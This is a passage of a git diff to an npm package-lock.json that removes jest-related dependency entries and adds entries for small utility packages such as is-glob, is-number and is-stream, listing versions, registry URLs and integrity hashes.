"integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" }, "engines": { - "node": ">=7.0.0" + "node": ">= 0.4" } }, - "node_modules/jest-config/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-config/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/interpret": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-3.1.1.tgz", + "integrity": "sha512-6xwYfHbajpoF0xLW+iwLkhwgvLoZDfjYfoFNu8ftMoXINzwuymNLd9u/KmwtdT2GbR+/Cz66otEGEVVUHX9QLQ==", "dev": true, "engines": { - "node": ">=8" + "node": ">=10.13.0" } }, - "node_modules/jest-config/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", + "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==", "dependencies": { - "has-flag": "^4.0.0" + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" }, "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-diff": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.0.1.tgz", - "integrity": "sha512-l8PYeq2VhcdxG9tl5cU78ClAlg/N7RtVSp0v3MlXURR0Y99i6eFnegmasOandyTmO6uEdo20+FByAjBFEO9nuw==", + "node_modules/is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", "dev": true, + "license": "MIT", "dependencies": { - "chalk": "^4.0.0", - "diff-sequences": "^29.0.0", - "jest-get-type": "^29.0.0", - "pretty-format": "^29.0.1" + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-diff/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", + "dev": true + }, + "node_modules/is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" }, "engines": { - "node": ">=8" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-diff/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "has-bigints": "^1.0.2" }, "engines": { - "node": ">=10" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-diff/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/is-boolean-object": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" }, "engines": { - "node": ">=7.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-diff/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-diff/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-diff/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "license": "MIT", "dependencies": { - "has-flag": "^4.0.0" + "hasown": "^2.0.2" }, "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-docblock": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.0.0.tgz", - "integrity": "sha512-s5Kpra/kLzbqu9dEjov30kj1n4tfu3e7Pl8v+f8jOkeWNqM6Ds8jRaJfZow3ducoQUrf2Z4rs2N5S3zXnb83gw==", + "node_modules/is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", "dev": true, + "license": "MIT", "dependencies": { - "detect-newline": "^3.0.0" + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-each": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.0.1.tgz", - "integrity": "sha512-UmCZYU9LPvRfSDoCrKJqrCNmgTYGGb3Ga6IVsnnVjedBTRRR9GJMca7UmDKRrJ1s+U632xrVtiRD27BxaG1aaQ==", + "node_modules/is-date-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", "dev": true, + "license": "MIT", "dependencies": { - "@jest/types": "^29.0.1", - "chalk": "^4.0.0", - "jest-get-type": "^29.0.0", - "jest-util": "^29.0.1", - "pretty-format": "^29.0.1" + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-each/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": ">=0.10.0" } }, - "node_modules/jest-each/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "call-bound": "^1.0.3" }, "engines": { - "node": ">=10" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-each/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, + "node_modules/is-fn": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fn/-/is-fn-1.0.0.tgz", + "integrity": "sha1-lUPV3nvPWwiiLsiiC65uKG1RDYw=", "engines": { - "node": ">=7.0.0" + "node": ">=0.10.0" } }, - "node_modules/jest-each/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-each/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", "dev": true, "engines": { "node": ">=8" } }, - "node_modules/jest-each/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/is-function": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-function/-/is-function-1.0.2.tgz", + "integrity": "sha512-lw7DUp0aWXYg+CBCN+JKkcE0Q2RayZnSvnZBlwgxHBQhqt5pZNVy4Ri7H9GmmXkdu7LUthszM+Tor1u/2iBcpQ==" + }, + "node_modules/is-generator-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", + "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, "engines": { - "node": ">=8" + "node": ">=6" } }, - "node_modules/jest-environment-jsdom": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-29.0.1.tgz", - "integrity": "sha512-rMF501kfui+bw4AmwowLA2bNaYb633A3ejFMN5pVU0AeOqLv2NbMAY5XzzlMr/+lM1itEf+3ZdCr9dGGrUfoxg==", - "dev": true, + "node_modules/is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", "dependencies": { - "@jest/environment": "^29.0.1", - "@jest/fake-timers": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/jsdom": "^20.0.0", - "@types/node": "*", - "jest-mock": "^29.0.1", - "jest-util": "^29.0.1", - "jsdom": "^20.0.0" + "has-tostringtag": "^1.0.0" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-environment-node": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.0.1.tgz", - "integrity": "sha512-PcIRBrEBFAPBqkbL53ZpEvTptcAnOW6/lDfqBfACMm3vkVT0N7DcfkH/hqNSbDmSxzGr0FtJI6Ej3TPhveWCMA==", + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", "dev": true, "dependencies": { - "@jest/environment": "^29.0.1", - "@jest/fake-timers": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "jest-mock": "^29.0.1", - "jest-util": "^29.0.1" + "is-extglob": "^2.1.1" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">=0.10.0" } }, - "node_modules/jest-get-type": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.0.0.tgz", - "integrity": "sha512-83X19z/HuLKYXYHskZlBAShO7UfLFXu/vWajw9ZNJASN32li8yHMaVGAQqxFW1RCFOkB7cubaL6FaJVQqqJLSw==", + "node_modules/is-hex-prefixed": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz", + "integrity": "sha1-fY035q135dEnFIkTxXPggtd39VQ=", + "engines": { + "node": ">=6.5.0", + "npm": ">=3" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", "dev": true, + "license": "MIT", "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-haste-map": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.0.1.tgz", - "integrity": "sha512-gcKOAydafpGoSBvcj/mGCfhOKO8fRLkAeee1KXGdcJ1Pb9O2nnOl4I8bQSIID2MaZeMHtLLgNboukh/pUGkBtg==", - "dev": true, + "node_modules/is-nan": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", + "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==", "dependencies": { - "@jest/types": "^29.0.1", - "@types/graceful-fs": "^4.1.3", - "@types/node": "*", - "anymatch": "^3.0.3", - "fb-watchman": "^2.0.0", - "graceful-fs": "^4.2.9", - "jest-regex-util": "^29.0.0", - "jest-util": "^29.0.1", - "jest-worker": "^29.0.1", - "micromatch": "^4.0.4", - "walker": "^1.0.8" + "call-bind": "^1.0.0", + "define-properties": "^1.1.3" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">= 0.4" }, - "optionalDependencies": { - "fsevents": "^2.3.2" + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-haste-map/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/is-negative-zero": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", + "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==", "dev": true, "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-haste-map/node_modules/jest-worker": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.0.1.tgz", - "integrity": "sha512-+B/2/8WW7goit7qVezG9vnI1QP3dlmuzi2W0zxazAQQ8dcDIA63dDn6j4pjOGBARha/ZevcwYQtNIzCySbS7fQ==", + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "dev": true, - "dependencies": { - "@types/node": "*", - "merge-stream": "^2.0.0", - "supports-color": "^8.0.0" - }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">=0.12.0" } }, - "node_modules/jest-haste-map/node_modules/supports-color": { - "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "node_modules/is-number-object": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz", + "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==", "dev": true, + "license": "MIT", "dependencies": { - "has-flag": "^4.0.0" + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" }, "engines": { - "node": ">=10" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/supports-color?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-leak-detector": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.0.1.tgz", - "integrity": "sha512-5tISHJphB+sCmKXtVHJGQGltj7ksrLLb9vkuNWwFR86Of1tfzjskvrrrZU1gSzEfWC+qXIn4tuh8noKHYGMIPA==", + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", "dev": true, "dependencies": { - "jest-get-type": "^29.0.0", - "pretty-format": "^29.0.1" + "isobject": "^3.0.1" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">=0.10.0" } }, - "node_modules/jest-matcher-utils": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.0.1.tgz", - "integrity": "sha512-/e6UbCDmprRQFnl7+uBKqn4G22c/OmwriE5KCMVqxhElKCQUDcFnq5XM9iJeKtzy4DUjxT27y9VHmKPD8BQPaw==", + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", "dev": true, - "dependencies": { - "chalk": "^4.0.0", - "jest-diff": "^29.0.1", - "jest-get-type": "^29.0.0", - "pretty-format": "^29.0.1" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } + "license": "MIT" }, - "node_modules/jest-matcher-utils/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" }, "engines": { - "node": ">=8" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-matcher-utils/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/is-set": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz", + "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==", "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, + "license": "MIT", "engines": { - "node": ">=10" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-matcher-utils/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/is-shared-array-buffer": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz", + "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "call-bound": "^1.0.3" }, "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/jest-matcher-utils/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-matcher-utils/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-matcher-utils/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, "engines": { "node": ">=8" - } - }, - "node_modules/jest-message-util": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.0.1.tgz", - "integrity": "sha512-wRMAQt3HrLpxSubdnzOo68QoTfQ+NLXFzU0Heb18ZUzO2S9GgaXNEdQ4rpd0fI9dq2NXkpCk1IUWSqzYKji64A==", - "dev": true, - "dependencies": { - "@babel/code-frame": "^7.12.13", - "@jest/types": "^29.0.1", - "@types/stack-utils": "^2.0.0", - "chalk": "^4.0.0", - "graceful-fs": "^4.2.9", - "micromatch": "^4.0.4", - "pretty-format": "^29.0.1", - "slash": "^3.0.0", - "stack-utils": "^2.0.3" }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/jest-message-util/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": 